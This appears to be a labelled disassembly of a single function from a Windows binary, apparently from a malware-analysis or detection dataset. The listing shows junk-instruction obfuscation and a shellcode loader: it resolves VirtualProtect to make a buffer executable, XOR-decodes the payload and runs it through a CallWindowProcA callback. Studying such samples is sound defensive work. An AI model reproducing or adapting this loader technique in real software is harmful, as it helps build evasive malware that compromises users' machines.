Function at 0x4026d0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x432040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
shr ecx, 0xb6
movsx ebx, bl
sub eax, edi
mov cx, 0xa5
add edx, eax
ror edx, 0x76
mul ax
rol dx, 0xff
imul eax
rol ebx, 0xe8
inc edi
shl si, 1
or bx, 0xfd
shl si, 0x41
inc esi
mul di
xor ax, di
inc di
shr si, 0x9c
rol si, 3
jae 0x402753
cmp edx, 0x56
ja 0x402790
shr di, 0x69
inc ebx
shl ebx, 0x43
dec dx
dec si
shl edi, 0x26
imul ebx
rol ecx, 0xe6
rol ecx, 0xf9
rcl ecx, 0xe3
jmp 0x402768
inc di
imul eax
mov cx, 0x2c8
rcl ax, 0x29
xor eax, 0xc2
shl edi, 0xc5
inc ecx
rcr edx, 0x7c
mov eax, 0x3a8
movzx ecx, al
inc esi
dec ax
shl eax, 0xc4
mul dx
jb 0x402790
sub edx, 0x1b6
dec ebx
imul ax
sub edi, 0xa1
jmp 0x4027a1
add ecx, 0x1bd
rol cx, 0xbd
inc ebx
rcl ebx, 0xd6
shr edx, 0x3a
inc bx
inc cx
sub eax, ecx
movsx edx, si
imul esi
xor ecx, edi
and si, ax
rol eax, 0xb5
and esi, 0x14c
ja 0x4027c3
or eax, 0x325
jmp 0x4027d3
rcr edx, 0xbf
and di, 0x8a
inc di
shl edx, 0x5f
ror edi, 0x9c
shr bx, 9
sub eax, eax
shl ebx, 0x2e
mul edi
dec eax
mul esi
ror edi, 0xef
jae 0x402805
movsx ecx, cl
dec edx
rcr esi, 0xee
movzx ecx, bh
dec esi
inc cx
add di, 0x369
rcr di, 0x66
shr bx, 0x93
imul dx
jmp 0x402816
shr si, 0x45
dec dx
rcr si, 0x96
rol ecx, 0x45
rcr cx, 0x3e
and cx, 0x56
imul ax
shr bx, 0x11
sub dx, dx
jb 0x40284e
test esi, 0x3c
jb 0x40287b
mov di, cx
xor edx, 0x1cb
shl esi, 0xa9
inc esi
shr di, 0x78
add edx, edi
shl ebx, 0x93
or ebx, ecx
and edi, 0x1e9
jmp 0x402851
rcr edx, 0x98
shr ebx, 0x1b
sub edx, 0xca
inc esi
and ax, 0x131
rcl bx, 0xe7
jae 0x40287b
test esi, 0xc
jae 0x402892
dec ax
inc edi
shr esi, 0x15
sub ebx, 0x359
jmp 0x402881
mov ax, ax
rcr edx, 0x37
or si, si
mul dx
je 0x402892
cmp edx, 0x40
jae 0x4028ea
imul ebx
jmp 0x4028ac
shr ecx, 0x7a
shr cx, 0x82
dec bx
rol edx, 0x76
dec ax
shl di, 0x31
rcr edi, 0xb7
dec esi
rcl cx, 0xb
xor eax, 0x5f
mul bx
ror ax, 0xb3
dec edx
rol dx, 8
imul bx
xor ecx, 0x24
rcl di, 0xd3
rcl dx, 0x4f
jb 0x4028ea
test esi, 0x59
jae 0x402935
shr ecx, 0x69
mov ebx, edx
or ebx, ecx
or eax, ebx
mul si
and ebx, 0x3c3
shl edi, 0x88
jmp 0x40290f
and si, di
add bx, 0xcc
shl esi, 0xbb
rcl dx, 0xf7
movzx eax, si
mul esi
xor di, 0x113
or ebx, 0x238
imul bx
imul ax
rcl ecx, 0x30
shr edi, 0x89
or edi, ecx
mul dx
mul ax
jae 0x402935
cmp edi, 0xc
je 0x402969
shl ebx, 0xf4
mul edx
shr esi, 0xa5
ror eax, 0x74
shr si, 0xe1
jmp 0x402944
imul edi
inc edi
ror esi, 0xb2
rol eax, 0x6b
inc eax
and di, 0x8c
shr ecx, 0x3a
mul esi
mov edx, 0x370
sub si, di
mov edi, 0x77
jae 0x402969
mov eax, eax
shl ax, 0x8e
dec ecx
inc si
and di, bx
mov di, si
jmp 0x402982
or bx, 0x14c
shr edi, 0xd1
shr ebx, 0x78
xor ecx, ebx
or edi, ecx
rcr edi, 0x32
rol si, 0xd
rcl edx, 0x84
sub bx, cx
mul esi
dec ebx
shl ecx, 0x4c
mul dx
add ax, 0x247
mov ax, 0x30e
rcl ax, 0xc6
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], 0x1f
push eax
lea eax, [ebp - 0x30]
xorps xmm0, xmm0
push eax
movaps xmmword [ebp - 0x30], xmm0
call fcn.004077a0
movups xmm0, xmmword [str.0000000006:1_0000000005:_]
mov ecx, dword [ebp - 0x34]
mov edx, eax
push 0xc
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x20], 0x19
movups xmmword [edx], xmm0
mov dword [ebp - 0x1c], ecx
movq xmm0, qword [0x42ec18]
movq qword [edx + 0x10], xmm0
mov al, byte [0x42ec20]
mov byte [edx + 0x18], al
mov byte [edx + 0x19], 0
call fcn.0040ade0
add esp, 0xc
lea ecx, [ebp - 0x30]
push ecx
mov ecx, eax
call fcn.00402270
push 0xc
push eax
call fcn.0040ae10
push 0x18
mov dword [ebp - 0x38], 0
call fcn.0040ade0
add esp, 0xc
mov dword [ebp - 0x34], 0
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0x3c], eax
mov edi, dword [eax + 4]
mov ecx, eax
xor esi, esi
mov dword [ebp - 0x44], eax
mov byte [ebp - 0x54], 0x42
mov eax, edi
mov dword [ebp - 0x40], ecx
cmp byte [edi + 0xd], 0
jne 0x402a7a
nop dword [eax]
mov dl, byte [eax + 0x10]
mov edi, eax
cmp dl, 0x42
jge 0x402a5f
mov eax, dword [eax + 8]
jmp 0x402a64
mov dword [ebp - 0x40], eax
mov eax, dword [eax]
xor ecx, ecx
cmp dl, 0x42
setge cl
cmp byte [eax + 0xd], 0
mov dword [ebp - 0x48], ecx
je 0x402a50
mov esi, ecx
mov ecx, dword [ebp - 0x40]
cmp byte [ecx + 0xd], 0
jne 0x402a8a
cmp byte [ecx + 0x10], 0x42
jg 0x402a8a
mov al, 1
jmp 0x402a8c
xor al, al
test al, al
jne 0x402acf
cmp dword [ebp - 0x38], 0xaaaaaaa
je 0x402c38
push 0x18
call fcn.0040ade0
mov ecx, dword [ebp - 0x54]
add esp, 4
mov dword [eax + 0x10], ecx
mov ecx, dword [ebp - 0x34]
mov dword [eax + 0x14], ecx
mov ecx, dword [ebp - 0x44]
mov dword [eax], ecx
push eax
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
lea ecx, [ebp - 0x3c]
push esi
push edi
mov word [eax + 0xc], 0
call fcn.00407800
mov eax, dword [0x4331f8]
mov ecx, dword [eax + 4]
add ecx, 0x43320c
push ecx
mov eax, dword [ecx]
and eax, 0xfffff9ff
or eax, 0x800
mov dword [ecx], eax
mov ecx, 0x4331f8
call fcn.00402c50
mov ecx, eax
call fcn.004058d0
mov edx, dword [ebp - 0x34]
inc edx
mov dword [ebp - 0x34], edx
cmp edx, 0xa
jge 0x402b11
mov eax, dword [ebp - 0x3c]
jmp 0x402a30
push str.VirtualProtect
push str.kernel32.dll
mov dword [ebp - 0x4c], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x4c]
push ecx
push 0x40
push 0x4ac
push 0x450400
call eax
mov edi, dword [sym.imp.USER32.dll_OpenIcon]
xor esi, esi
nop dword [eax]
movzx eax, byte [esi + 0x450400]
xor al, 0x73
sub al, 0x15
push 0
mov byte [esi + 0x450400], al
call edi
movzx eax, byte [esi + 0x450400]
sub al, 0x57
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [esi + 0x450400], al
inc esi
cmp esi, 0x4ac
jb 0x402b50
call fcn.00402520
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push section..bss
push 0x450588
call dword [sym.imp.USER32.dll_CallWindowProcA]
mov eax, dword [ebp - 0x3c]
mov esi, dword [eax + 4]
cmp byte [esi + 0xd], 0
jne 0x402be6
nop dword [eax]
push dword [esi + 8]
lea eax, [ebp - 0x3c]
push eax
mov ecx, eax
call fcn.00407700
mov eax, esi
mov esi, dword [esi]
push 0x18
push eax
call fcn.0040ae10
add esp, 8
cmp byte [esi + 0xd], 0
je 0x402bc0
mov eax, dword [ebp - 0x3c]
push 0x18
push eax
call fcn.0040ae10
mov ecx, dword [ebp - 0x1c]
add esp, 8
cmp ecx, 0xf
jbe 0x402c21
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402c17
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402c3d
push ecx
push edx
call fcn.0040ae10
add esp, 8
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.0040adcd
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x10
call fcn.00402260
call fcn.00412029
int3